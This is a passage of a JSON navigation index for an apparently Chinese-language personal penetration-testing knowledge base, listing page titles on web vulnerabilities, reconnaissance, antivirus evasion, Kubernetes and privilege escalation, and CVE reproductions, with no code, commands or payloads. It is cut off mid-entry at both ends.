|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","title":"HQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","title":"MSSQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","title":"MySQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","title":"Oracle","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","title":"PostgreSQL","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/README","title":"SQL\u6ce8\u5165","description":"\u4ecb\u7ecd","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","title":"SQLite","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","title":"\u6570\u636e\u5e93\u8bc6\u522b","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","title":"\u6ce8\u5165\u5224\u65ad","description":"[!Tip]","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/README","title":"SSRF\u6f0f\u6d1e","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/README","title":"XSS\u6ce8\u5165","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","title":"Angular \u548c AngularJS \u4e2d\u7684 XSS","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSWithRelativePathOverwrite","title":"02.XSSWithRelativePathOverwrite.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/README","title":"\u4fe1\u606f\u6536\u96c6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","title":"google\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","title":"ICP\u5907\u6848\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/README","title":"\u4e3b\u57df\u540d\u6536\u96c6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","title":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","title":"\u8bc1\u4e66\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/fscan\u514d\u6740/README","title":"fscan\u514d\u6740","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u514d\u6740/\u53bb\u7279\u5f81/README","title":"\u53bb\u7279\u5f81","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/README","title":"k3s\u5b89\u88c5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","title":"Apiserver","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd","title":"etcd","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","title":"Kubelet","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/README","title":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/README","title":"\u5185\u7f51\u6e17\u900f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5/README","title":"\u5bb9\u5668\u9003\u9038\u7684\u624b\u6cd5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/README","title":"Linux\u63d0\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/Linux\u63d0\u6743/RootHawkX-Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","title":"RootHawkX Linux\u672c\u5730\u63d0\u6743\u5de5\u5177","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/MSF\u63d0\u6743","title":"MSF\u63d0\u6743","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u57fa\u7ebf\u68c0\u67e5/README","title":"\u57fa\u7ebf\u68c0\u67e5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put","title":"oss-put","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","title":"PathScan","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/README","title":"JS\u8fd8\u539f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/README","title":"SpringBoot\u6e17\u900f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/README","title":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u4e2d\u95f4\u4ef6/Apache/Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","title":"Kafka Connect\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e\uff08CVE-2025-27817\uff09","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edf/\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","title":"\u5951\u7ea6\u9501\u7535\u5b50\u7b7e\u7ae0\u7cfb\u7edfRCE","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","title":"\u6d77\u5eb7\u5a01\u89c6IP\u6444\u50cf\u673aNVR\u8bbe\u5907\u56fa\u4ef6\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e(CVE-2021-36260)","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u5408\u96c6/\u6d77\u5eb7\u5a01\u89c6/\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","title":"\u6d77\u5eb7\u7efc\u5408\u5b89\u9632\u7ba1\u7406\u5e73\u53f0\u8fdc\u7a0b\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff08CNVD-2024-18673\uff09\u590d\u73b0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33246","title":"CVE-2023-33246","description":"CVE-2023-33246","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/cve/2023/CVE-2023-33979","title":"CVE-2023-33979","description":"CVE-2023-33979","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE\u6f0f\u6d1e\u7ed5\u8fc7/README","title":"JimuReport \u81ea\u52a8\u5bfc\u51fa Python \u63d2\u4ef6\u8868\u8fbe\u5f0f\u6ce8\u5165\u4fee\u590d\u7ed5\u8fc7\u6f0f\u6d1e\u5206\u6790","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Simple Admin/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458/\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458","title":"\u4efb\u610f\u7528\u6237\u6ce8\u518c\u5373\u8d85\u7ea7\u7ba1\u7406\u5458 \u2014 PoC","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/CVE-2022-38352","title":"CVE-2022-38352","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","title":"Thinkphp5.0.22\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","title":"Thinkphp6.0.12\u53cd\u5e8f\u5217\u5316","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Thinkphp/Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","title":"Thinkphpv6.0.13\u591a\u8bed\u8a00Rce","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/Trojanpanel/TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","title":"TrojanPanel\u672a\u6388\u6743\u6dfb\u52a0\u7528\u6237","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/V2board/privilege-escalation-1.6","title":"privilege-escalation-1.6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","sidebar":"tutorialSidebar"},"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u5206\u6790(1)":{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6f0f\u6d1e\u590d\u73b0/\u7528\u53cb/YonBIP/YonBIP_NCSysBrokerServlet_\u53cd\u5e8f\u5217\u5316\u6f0f\